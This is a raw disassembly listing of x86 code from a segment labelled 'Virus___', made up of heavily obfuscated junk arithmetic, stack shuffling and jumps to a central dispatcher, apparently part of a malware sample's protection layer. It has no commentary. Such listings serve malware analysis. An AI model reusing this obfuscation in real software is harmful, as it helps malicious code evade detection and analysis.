		xor	ebp, 693E7B7Eh
		neg	ebp
		inc	ebp
		jmp	loc_57AEE8
; ---------------------------------------------------------------------------


loc_57AEB5:				; CODE XREF: Virus___:0057632Dj
		and	eax, edi
		pop	edi
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 3F7F4988h
		jmp	loc_576385
; ---------------------------------------------------------------------------


loc_57AEE8:				; CODE XREF: Virus___:0057AEB0j
		push	edx
		jmp	loc_576467
; ---------------------------------------------------------------------------


loc_57AEEE:				; CODE XREF: Virus___:0057EAC5j
		push	24h
		mov	eax, [esp]
		push	6142h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_574D4A
; ---------------------------------------------------------------------------


loc_57AF0B:				; CODE XREF: Virus___:0057DFF9j
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	7144h
		mov	[esp], ebp
		push	10h
		jmp	loc_575443
; ---------------------------------------------------------------------------


loc_57AF31:				; CODE XREF: Virus___:0057A72Fj
		sub	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 649C2A73h
		and	ebp, 245262FFh
		add	ebp, 68D95DD3h
		xor	ebp, 0A6AE81CBh
		sub	ebx, ebp
		jmp	loc_579DD2
; ---------------------------------------------------------------------------


loc_57AF53:				; CODE XREF: Virus___:00575E6Ej
		mov	edi, 41732B2Ch
		shl	edi, 6
		add	edi, 0E58C7EFAh
		xor	esi, edi
		pop	edi
		sub	esi, 0B6DD07BEh
		jmp	loc_573D82
; ---------------------------------------------------------------------------


loc_57AF6F:				; CODE XREF: Virus___:0057BA4Bj
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		jmp	loc_57379C
; ---------------------------------------------------------------------------


loc_57AF8F:				; CODE XREF: Virus___:00577221j
		mov	ebp, 2
		add	edi, 39C66182h
		add	edi, ebp
		push	eax
		mov	eax, 39C66182h
		sub	edi, eax
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_57537C
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_57E608
; ---------------------------------------------------------------------------


loc_57AFD1:				; CODE XREF: Virus___:0057A8B1j
		sub	cl, ah
		pop	eax
		sub	cl, 6Fh
		xor	cl, 6
		push	edx
		mov	dh, 0A3h
		add	cl, dh
		jmp	loc_57B551
; ---------------------------------------------------------------------------


loc_57AFE4:				; CODE XREF: Virus___:0057CA2Dj
		add	edx, 2F5C53C6h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_5743F4
; ---------------------------------------------------------------------------


loc_57B001:				; CODE XREF: Virus___:0057A82Aj
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_578A27
; ---------------------------------------------------------------------------


loc_57B017:				; CODE XREF: Virus___:0057CC64j
		push	esi
		jmp	loc_57500E
; ---------------------------------------------------------------------------


loc_57B01D:				; CODE XREF: Virus___:005743CFj
		add	esi, 0DD45C321h
		add	eax, esi
		pop	esi
		jmp	loc_576ECF
; ---------------------------------------------------------------------------


loc_57B02B:				; CODE XREF: Virus___:00572DB1j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 2
		jmp	loc_57D16A
; ---------------------------------------------------------------------------


loc_57B048:				; CODE XREF: Virus___:00575F47j
		add	esi, edi
		pop	edi
		jmp	loc_573108
; ---------------------------------------------------------------------------


loc_57B050:				; CODE XREF: Virus___:005766C6j
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_57C234
; ---------------------------------------------------------------------------


loc_57B05F:				; CODE XREF: Virus___:0057BEC6j
		pop	ecx
		sub	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_57618D
; ---------------------------------------------------------------------------


loc_57B06B:				; CODE XREF: Virus___:00573648j
		pop	eax
		xchg	esi, [esp]
		pop	esp
		sub	ebx, 427E1C48h
		sub	ebx, eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6294193Bh
		or	ebp, 41C86BF1h
		jmp	loc_57DDFB
; ---------------------------------------------------------------------------


loc_57B08E:				; CODE XREF: Virus___:00574C9Fj
		add	eax, ecx
		pop	ecx
		not	eax
		xor	eax, 76AF29A1h
		add	eax, 70362768h
		add	eax, 0C4E793A9h
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 0DCh
		push	ebx
		mov	bh, 53h
		dec	bh
		xor	bh, 30h
		xor	bh, 0B5h
		add	al, bh
		pop	ebx
		push	ecx
		mov	cl, 0F6h
		jmp	loc_57627F
; ---------------------------------------------------------------------------


loc_57B0C7:				; CODE XREF: Virus___:005770B9j
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_579610
; ---------------------------------------------------------------------------


loc_57B0D1:				; CODE XREF: Virus___:0057E401j
		add	esp, 4
		push	edx
		mov	edx, 3A587ABFh
		jmp	loc_576324
; ---------------------------------------------------------------------------


loc_57B0E2:				; CODE XREF: Virus___:0057A73Dj
		mov	ebx, [esp]
		add	esp, 4
		add	esi, eax
		sub	esi, 7389388Ah
		add	esi, 1BFC13F5h
		push	342D7299h
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 65A7CBEh
		neg	ebp
		shl	ebp, 3
		sub	ebp, 0CD2C1A0Ch
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	4242h
		mov	[esp], esi
		jmp	loc_57D6B9
; ---------------------------------------------------------------------------


loc_57B12B:				; CODE XREF: Virus___:00573D6Bj
		mov	ebx, esp
		jmp	loc_573EF4
; ---------------------------------------------------------------------------


loc_57B132:				; CODE XREF: Virus___:0057B18Fj
		push	edx
		sub	dword ptr [esp], 7E717025h
		pop	eax
		jmp	loc_578A12
; ---------------------------------------------------------------------------


loc_57B140:				; CODE XREF: Virus___:0057F021j
		add	edi, 0AE07D01h
		inc	edi
		or	edi, 633092Ch
		sub	edi, 0E7B0D2Ah
		jmp	loc_5762EF
; ---------------------------------------------------------------------------


loc_57B158:				; CODE XREF: Virus___:0057E57Ej
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_574D25
; ---------------------------------------------------------------------------


loc_57B166:				; CODE XREF: Virus___:00573BC6j
		push	dx
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_57A264
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_57E448
; ---------------------------------------------------------------------------


loc_57B182:				; CODE XREF: Virus___:0057EB39j
		push	eax
		push	edx
		mov	edx, 24724F3Ch
		sub	edx, 24724F38h
		jmp	loc_57B132
; ---------------------------------------------------------------------------


loc_57B194:				; CODE XREF: Virus___:00574882j
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_575737
; ---------------------------------------------------------------------------


loc_57B1A4:				; CODE XREF: Virus___:00578DA7j
		pop	ebp
		push	edi
		push	esi
		jmp	loc_577B18
; ---------------------------------------------------------------------------


loc_57B1AC:				; CODE XREF: Virus___:0057327Fj
		push	2227h
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B1D0:				; CODE XREF: Virus___:00575D94j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B1D5:				; CODE XREF: Virus___:00573314j
		sub	ebx, 30C30785h
		dec	ebx
		neg	ebx
		xchg	ebp, ebx
		jmp	loc_57E930
; ---------------------------------------------------------------------------


loc_57B1E5:				; CODE XREF: Virus___:00574C1Cj
		sub	[esp], cl
		mov	cl, [esp]
		add	esp, 2
		sub	cl, 0FEh
		add	al, cl
		pop	ecx
		sub	al, bl
		sub	al, 0CCh
		push	edx
		mov	dh, 17h
		push	ebx
		jmp	loc_57DE40
; ---------------------------------------------------------------------------


loc_57B201:				; CODE XREF: Virus___:00575CE7j
		xor	edi, 4FB66BA9h
		and	eax, edi
		jmp	loc_57B240
; ---------------------------------------------------------------------------


loc_57B20E:				; CODE XREF: Virus___:0057CE5Cj
		push	4FEDh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5742CF
; ---------------------------------------------------------------------------


loc_57B222:				; CODE XREF: Virus___:005784C0j
		mov	eax, 0E21AA92Dh
		xor	eax, edi
		pop	edi
		sub	eax, ebx
		pop	ebx
		add	ebp, 719938B7h
		sub	ebp, eax
		sub	ebp, 719938B7h
		jmp	loc_5760E9
; ---------------------------------------------------------------------------


loc_57B240:				; CODE XREF: Virus___:0057B209j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57A78F
; ---------------------------------------------------------------------------


loc_57B24B:				; CODE XREF: Virus___:0057D9D0j
		mov	[esp], esi
		push	16C5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	ecx
		mov	ecx, 2
		add	esi, 58242295h
		jmp	loc_574B1D
; ---------------------------------------------------------------------------


loc_57B27D:				; CODE XREF: Virus___:0057D429j
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 609A7295h
		mov	ebx, 8737DD05h
		add	ebx, 35AD4851h
		sub	ebx, edi
		jmp	loc_57D92D
; ---------------------------------------------------------------------------


loc_57B29B:				; CODE XREF: Virus___:0057AA61j
		xchg	bh, ah
		sub	ah, 1Ah
		jmp	loc_5740F1
; ---------------------------------------------------------------------------


loc_57B2A5:				; CODE XREF: Virus___:0057DD20j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B2B7:				; CODE XREF: Virus___:0057A498j
		add	ah, 43h
		jmp	loc_577215
; ---------------------------------------------------------------------------


loc_57B2BF:				; CODE XREF: Virus___:0057D62Ej
		pop	edx
		push	edx
		mov	dh, 3Eh
		add	al, dh
		jmp	loc_57DEC1
; ---------------------------------------------------------------------------


loc_57B2CA:				; CODE XREF: Virus___:00578B64j
		pop	ebx
		add	edx, 4
		jmp	loc_57DAE7
; ---------------------------------------------------------------------------


loc_57B2D6:				; CODE XREF: Virus___:0057A4C8j
		add	esp, 4
		pop	ebx
		add	bl, dh
		jmp	loc_573FA7
; ---------------------------------------------------------------------------


loc_57B2E1:				; CODE XREF: Virus___:0057A3E4j
		pop	ecx
		push	ax
		mov	al, 8
		jmp	loc_57414A
; ---------------------------------------------------------------------------


loc_57B2EB:				; CODE XREF: Virus___:0057A20Fj
		push	esi
		jmp	loc_577EEB
; ---------------------------------------------------------------------------


loc_57B2F1:				; CODE XREF: Virus___:0057630Aj
		neg	edi
		xor	edi, 6E92120h
		add	eax, 245CC3h
		add	eax, edi
		sub	eax, 245CC3h
		pop	edi
		add	edi, eax
		jmp	loc_573996
; ---------------------------------------------------------------------------


loc_57B30D:				; CODE XREF: Virus___:00576DDEj
		pop	eax
		xor	esi, 2E3319EDh
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		jmp	loc_576C08
; ---------------------------------------------------------------------------


loc_57B31F:				; CODE XREF: Virus___:0057B880j
		mov	cl, 35h
		inc	cl
		sub	cl, 1Eh
		sub	cl, 0FFh
		add	cl, 0FFh
		push	cx
		xchg	cl, [esp]
		push	edx
		mov	dh, cl
		push	ebx
		mov	bh, dh
		xor	bh, ch
		xor	ch, bh
		xor	bh, ch
		not	ch
		xchg	ch, bh
		jmp	loc_573CD2
; ---------------------------------------------------------------------------


loc_57B346:				; CODE XREF: Virus___:00576E77j
		push	ebp
		push	ecx
		push	62122431h
		jmp	loc_57891E
; ---------------------------------------------------------------------------


loc_57B352:				; CODE XREF: Virus___:00572CEDj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_576C4B
; ---------------------------------------------------------------------------


loc_57B35D:				; CODE XREF: Virus___:005730A6j
		pop	eax
		add	eax, 11F77B0Bh
		jmp	loc_5747DE
; ---------------------------------------------------------------------------


loc_57B368:				; CODE XREF: Virus___:0057BDE9j
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B37A:				; CODE XREF: Virus___:00574145j
		mov	dh, 1Fh
		sub	dh, al
		jmp	loc_575F8F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57CC69
; ---------------------------------------------------------------------------


loc_57B391:				; CODE XREF: Virus___:0057CB4Dj
		push	3E34h
		mov	[esp], ebp
		push	4C67h
		mov	[esp], ecx
		mov	ecx, 75FF3AAEh
		jmp	loc_575071
; ---------------------------------------------------------------------------


loc_57B3AB:				; CODE XREF: Virus___:005732D8j
		mov	edx, eax
		mov	ebp, edx
		jmp	loc_5774F4
; ---------------------------------------------------------------------------


loc_57B3B4:				; CODE XREF: Virus___:00577792j
		mov	edx, 12C653CCh
		dec	edx
		add	edx, 592E9725h
		xor	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5743DF
; ---------------------------------------------------------------------------


loc_57B3D0:				; CODE XREF: Virus___:005744A1j
		mov	edx, esp
		push	ecx
		push	eax
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		add	edx, ecx
		pop	ecx
		push	ebx
		jmp	loc_57D5A3
; ---------------------------------------------------------------------------


loc_57B3E5:				; CODE XREF: Virus___:00574049j
		mov	eax, 18BF1185h
		jmp	loc_57DB58
; ---------------------------------------------------------------------------
		push	5935h
		jmp	loc_5787BC
; ---------------------------------------------------------------------------


loc_57B3F9:				; CODE XREF: Virus___:0057AE59j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_57D1AD
; ---------------------------------------------------------------------------


loc_57B40D:				; CODE XREF: Virus___:0057A646j
		mov	esi, 7B743B32h
		jmp	loc_576EF1
; ---------------------------------------------------------------------------


loc_57B417:				; CODE XREF: Virus___:005787D7j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_57E066
; ---------------------------------------------------------------------------


loc_57B420:				; CODE XREF: Virus___:0057A1A0j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B425:				; CODE XREF: Virus___:00574497j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ebx, 1DDB2632h
		push	2C66h
		mov	[esp], edi
		push	ecx
		mov	ecx, 38220B65h
		mov	edi, 29C00B63h
		jmp	loc_572C0C
; ---------------------------------------------------------------------------


loc_57B44D:				; CODE XREF: Virus___:005764D2j
		add	al, cl
		mov	ecx, [esp]
		jmp	loc_57C115
; ---------------------------------------------------------------------------


loc_57B457:				; CODE XREF: Virus___:00576199j
		sub	edx, eax
		sub	edx, 77964C6Fh
		add	edx, 4CCE5723h
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B46A:				; CODE XREF: Virus___:0057A013j
		sub	ebp, 5D590C3Dh
		jmp	loc_57721D
; ---------------------------------------------------------------------------


loc_57B475:				; CODE XREF: Virus___:0057B71Cj
		mov	esi, [esp]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		mov	edx, 422521F7h
		xchg	esi, edx
		jmp	loc_57C1E8
; ---------------------------------------------------------------------------


loc_57B491:				; CODE XREF: Virus___:005731EFj
		or	edx, 5D8969C4h
		sub	edx, 6D5C4B05h
		jmp	loc_57D055
; ---------------------------------------------------------------------------


loc_57B4A2:				; CODE XREF: Virus___:00578DC2j
		or	esi, 1039253Eh
		jmp	loc_57A07D
; ---------------------------------------------------------------------------


loc_57B4AD:				; CODE XREF: Virus___:0057B8A0j
		mov	ecx, ebp
		pop	ebp
		jmp	loc_578297
; ---------------------------------------------------------------------------


loc_57B4B5:				; CODE XREF: Virus___:005785B6j
		add	esi, 7C41D11h
		push	eax
		mov	eax, 1D2E648Bh
		push	edx
		jmp	loc_5762FD
; ---------------------------------------------------------------------------


loc_57B4C7:				; CODE XREF: Virus___:0057D320j
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1CFA4253h
		jmp	loc_57AA7B
; ---------------------------------------------------------------------------


loc_57B4F9:				; CODE XREF: Virus___:0057EBE9j
		add	esp, 4
		push	esi
		jmp	loc_57DC0D
; ---------------------------------------------------------------------------


loc_57B502:				; CODE XREF: Virus___:0057DAEDj
		xor	edx, [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B510:				; CODE XREF: Virus___:00576054j
		add	edi, ebx
		pop	ebx
		add	edi, ebp
		sub	edi, 1A0B54D5h
		jmp	loc_575F16
; ---------------------------------------------------------------------------


loc_57B520:				; CODE XREF: Virus___:0057AB6Ej
		add	ebp, 3D1F5A00h
		add	ebp, eax
		jmp	loc_5749C0
; ---------------------------------------------------------------------------


loc_57B52D:				; CODE XREF: Virus___:00572EDFj
		pop	esp
		jmp	loc_57CD0A
; ---------------------------------------------------------------------------


loc_57B533:				; CODE XREF: Virus___:0057E47Dj
		add	ebp, 36A91DF1h
		sub	esp, 4
		jmp	loc_575CEC
; ---------------------------------------------------------------------------


loc_57B541:				; CODE XREF: Virus___:00577F74j
		xor	bh, 53h
		add	ch, bh
		pop	ebx
		jmp	loc_57964B
; ---------------------------------------------------------------------------


loc_57B54C:				; CODE XREF: Virus___:0057DB6Cj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B551:				; CODE XREF: Virus___:0057AFDFj
		pop	edx
		sub	al, 0B6h
		sub	al, cl
		add	al, 0B6h
		pop	ecx
		push	5439h
		mov	[esp], ecx
		mov	ch, 0BBh
		sub	ch, 1
		push	eax
		push	edx
		mov	dl, 0E2h
		mov	ah, 8Ah
		add	ah, dl
		pop	edx
		push	ecx
		jmp	loc_5748F9
; ---------------------------------------------------------------------------


loc_57B575:				; CODE XREF: Virus___:0057D05Bj
		or	eax, edx
		pop	edx
		jmp	loc_5795BD
; ---------------------------------------------------------------------------


loc_57B57D:				; CODE XREF: Virus___:00572B6Fj
		xchg	esi, [esp]
		jmp	loc_578F5A
; ---------------------------------------------------------------------------


loc_57B585:				; CODE XREF: Virus___:00574C6Dj
		add	esp, 4
		add	ebx, 2
		jmp	loc_57C1D7
; ---------------------------------------------------------------------------


loc_57B596:				; CODE XREF: Virus___:0057A7B8j
		pop	ecx
		sub	ecx, 7FB46CF0h
		jmp	loc_5753F5
; ---------------------------------------------------------------------------


loc_57B5A2:				; CODE XREF: Virus___:00578AB8j
		mov	esi, 0D92C026Ch
		add	ebp, esi
		pop	esi
		xor	eax, ebp
		pop	ebp
		not	eax
		inc	eax
		add	eax, 43C3D772h
		add	ebp, eax
		jmp	loc_5747D1
; ---------------------------------------------------------------------------


loc_57B5BC:				; CODE XREF: Virus___:0057CE6Cj
		mov	[esp], ebx
		mov	ebx, 40h
		jmp	loc_574FA5
; ---------------------------------------------------------------------------


loc_57B5C9:				; CODE XREF: Virus___:00579634j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4FC05141h
		push	edi
		mov	edi, 0B03FAEC3h
		jmp	loc_573C60
; ---------------------------------------------------------------------------


loc_57B5FD:				; CODE XREF: Virus___:0057D55Bj
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edx, 4
		sub	edx, 2
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_57D82F
; ---------------------------------------------------------------------------


loc_57B625:				; CODE XREF: Virus___:0057D6E3j
		mov	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_572E19
; ---------------------------------------------------------------------------


loc_57B62F:				; CODE XREF: Virus___:0057E02Fj
		mov	dl, cl
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		pop	edx
		pop	ecx
		xor	al, bl
		mov	bx, [esp]
		add	esp, 2
		push	small 54DCh
		mov	[esp], dx
		sub	esp, 4
		jmp	loc_57529F
; ---------------------------------------------------------------------------


loc_57B652:				; CODE XREF: Virus___:0057587Ej
		xor	eax, 0D9FC9B4Bh
		sub	edx, eax
		pop	eax
		push	edx
		push	ebp
		push	edi
		mov	edi, 1AA0075Bh
		jmp	loc_57ADF3
; ---------------------------------------------------------------------------


loc_57B667:				; CODE XREF: Virus___:005779B3j
		pop	esi
		jmp	loc_57A154
; ---------------------------------------------------------------------------


loc_57B66D:				; CODE XREF: Virus___:0057EADBj
		push	ebx
		mov	bh, 0B6h
		sub	al, bh
		jmp	loc_574187
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_57775C
; ---------------------------------------------------------------------------


loc_57B687:				; CODE XREF: Virus___:0057A4B8j
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	37E6h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5766CB
; ---------------------------------------------------------------------------


loc_57B69C:				; CODE XREF: Virus___:00575454j
		add	ebx, 4
		push	44Dh
		mov	[esp], eax
		mov	eax, 4
		sub	ebx, 6D374050h
		jmp	loc_578DE0
; ---------------------------------------------------------------------------


loc_57B6BA:				; CODE XREF: Virus___:0057DB97j
		neg	edx
		add	edx, 0E00A1748h
		jmp	loc_57DF4C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_57697F
; ---------------------------------------------------------------------------


loc_57B6D7:				; CODE XREF: Virus___:00578A8Ej
		xor	dword ptr [esp], 31255F4Fh
		pop	eax
		xor	eax, 31255F4Fh
		pop	esi
		sub	eax, 6471E8FFh
		add	ecx, eax
		pop	eax
		sub	eax, 489C1E83h
		sub	eax, ecx
		jmp	loc_576FB2
; ---------------------------------------------------------------------------


loc_57B6F9:				; CODE XREF: Virus___:0057531Aj
		mov	eax, 0CFC24DDCh
		jmp	loc_57A1A5
; ---------------------------------------------------------------------------


loc_57B703:				; CODE XREF: Virus___:00576836j
		sub	edi, 29657DBDh
		push	ebx
		push	edi
		mov	edi, 4485756Bh
		mov	ebx, edi
		pop	edi
		sub	ebx, 2156FA34h
		sub	edi, ebx
		pop	ebx
		jmp	loc_57B475
; ---------------------------------------------------------------------------


loc_57B721:				; CODE XREF: Virus___:00574F08j
		and	edi, 7E2D3BC0h
		dec	edi
		neg	edi
		xor	edi, 2133200Fh
		xor	edi, 9CC0CCCAh
		add	edx, 5C83758Ah
		add	edx, edi
		jmp	loc_572B07
; ---------------------------------------------------------------------------


loc_57B743:				; CODE XREF: Virus___:0057DE96j
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B74F:				; CODE XREF: Virus___:0057BCFFj
		xchg	esi, [esp]
		pop	esp
		xor	al, dh
		mov	dx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		jmp	loc_57CFA8
; ---------------------------------------------------------------------------


loc_57B76F:				; CODE XREF: Virus___:005797DCj
		push	ebp
		mov	ebp, 55B016C8h
		add	eax, ebp
		pop	ebp
		pop	ebx
		push	ebx
		push	esi
		mov	esi, 3BDA6701h
		push	ebp
		jmp	loc_578DB2
; ---------------------------------------------------------------------------


loc_57B786:				; CODE XREF: Virus___:005766E8j
		pop	esp
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B78C:				; CODE XREF: Virus___:005777BAj
		mov	eax, esi
		pop	esi
		and	eax, 7E5E3103h
		push	0
		sub	[esp], eax
		pop	eax
		add	eax, 771751Dh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0F553441Fh
		xor	eax, ebx
		pop	ebx
		add	ecx, eax
		jmp	loc_57D1F6
; ---------------------------------------------------------------------------


loc_57B7BA:				; CODE XREF: Virus___:00574059j
		mov	ebp, 5699452Ch
		add	ebp, 0FA4432E6h
		mov	edi, ebp
		pop	ebp
		or	edi, 3446237Eh
		jmp	loc_576350
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_57376B
; ---------------------------------------------------------------------------


loc_57B7D9:				; CODE XREF: Virus___:0057B862j
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_575A1E
; ---------------------------------------------------------------------------


loc_57B7E8:				; CODE XREF: Virus___:00577E10j
		push	251Ch
		mov	[esp], esi
		mov	esi, 4
		push	esi
		push	edx
		jmp	loc_5762BD
; ---------------------------------------------------------------------------


loc_57B7FC:				; CODE XREF: Virus___:00575C8Bj
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_573AE9
; ---------------------------------------------------------------------------


loc_57B809:				; CODE XREF: Virus___:0057727Dj
		push	esp
		jmp	loc_57E293
; ---------------------------------------------------------------------------


loc_57B80F:				; CODE XREF: Virus___:00574859j
		or	ebx, 44DD42A4h
		push	2852h
		mov	[esp], ecx
		mov	ecx, 3F6A7C8Eh
		add	ecx, 5142B71h
		neg	ecx
		xor	ecx, 51C3127Fh
		shr	ecx, 1
		sub	ecx, 0C22094FEh
		jmp	loc_5784E5
; ---------------------------------------------------------------------------


loc_57B83D:				; CODE XREF: Virus___:00577926j
		pop	ecx
		jmp	loc_579124
; ---------------------------------------------------------------------------


loc_57B843:				; CODE XREF: Virus___:0057467Cj
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_57B7D9
; ---------------------------------------------------------------------------


loc_57B867:				; CODE XREF: Virus___:0057C692j
		xchg	ecx, ebp
		push	ecx
		mov	ecx, 1B1D4076h
		or	ebp, ecx
		pop	ecx
		push	ebx
		jmp	loc_57DAC4
; ---------------------------------------------------------------------------


loc_57B878:				; CODE XREF: Virus___:00576E11j
		pop	ecx
		add	bh, 1
		xor	al, bh
		pop	ebx
		push	ecx
		jmp	loc_57B31F
; ---------------------------------------------------------------------------


loc_57B885:				; CODE XREF: Virus___:0057528Aj
		add	edx, ecx
		add	eax, [edx]
		pop	edx
		pop	ecx
		push	7DCFh
		mov	[esp], eax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B898:				; CODE XREF: Virus___:0057722Dj
		mov	ebx, 4
		push	ebp
		mov	ebp, ebx
		jmp	loc_57B4AD
; ---------------------------------------------------------------------------


loc_57B8A5:				; CODE XREF: Virus___:00579A6Fj
		push	ebp
		jmp	loc_57455D
; ---------------------------------------------------------------------------


loc_57B8AB:				; CODE XREF: Virus___:0057A918j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_57E423
; ---------------------------------------------------------------------------


loc_57B8B6:				; CODE XREF: Virus___:00579C11j
		push	esi
		mov	esi, 1E11030h
		and	esi, 4EFE1BD9h
		shr	esi, 8
		dec	esi
		and	esi, 28E22F0Ch
		xor	esi, 2FE730D5h
		mov	edi, esi
		pop	esi
		jmp	loc_5771CD
; ---------------------------------------------------------------------------


loc_57B8DA:				; CODE XREF: Virus___:0057D278j
		add	esi, 9C110F7Ah
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57B8F0:				; CODE XREF: Virus___:0057717Ej
		xor	ebp, 67D108CFh
		sub	ebx, 6F7C47EAh
		add	ebx, ebp
		push	ebp
		jmp	loc_575C6D
; ---------------------------------------------------------------------------


loc_57B904:				; CODE XREF: Virus___:00579CA8j
		mov	esi, 0F7B08ABh
		add	esi, 1012755h
		not	esi
		add	esi, 5FC354BFh
		xor	esi, 3D3D30F0h
		add	esi, 8D85EBB6h
		add	edx, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_579879
; ---------------------------------------------------------------------------


loc_57B936:				; CODE XREF: Virus___:00579E3Bj
		pop	ebp
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_57EDC9
; ---------------------------------------------------------------------------


loc_57B945:				; CODE XREF: Virus___:00574E8Aj
		add	al, 0C4h
		add	al, bl
		sub	al, 0C4h
		pop	ebx
		push	eax
		mov	al, 0D3h
		or	al, 4Ah
		and	al, 6Eh
		xor	al, 0D6h
		neg	al
		xor	al, 7Bh
		add	bl, 78h
		jmp	loc_573E31
; ---------------------------------------------------------------------------


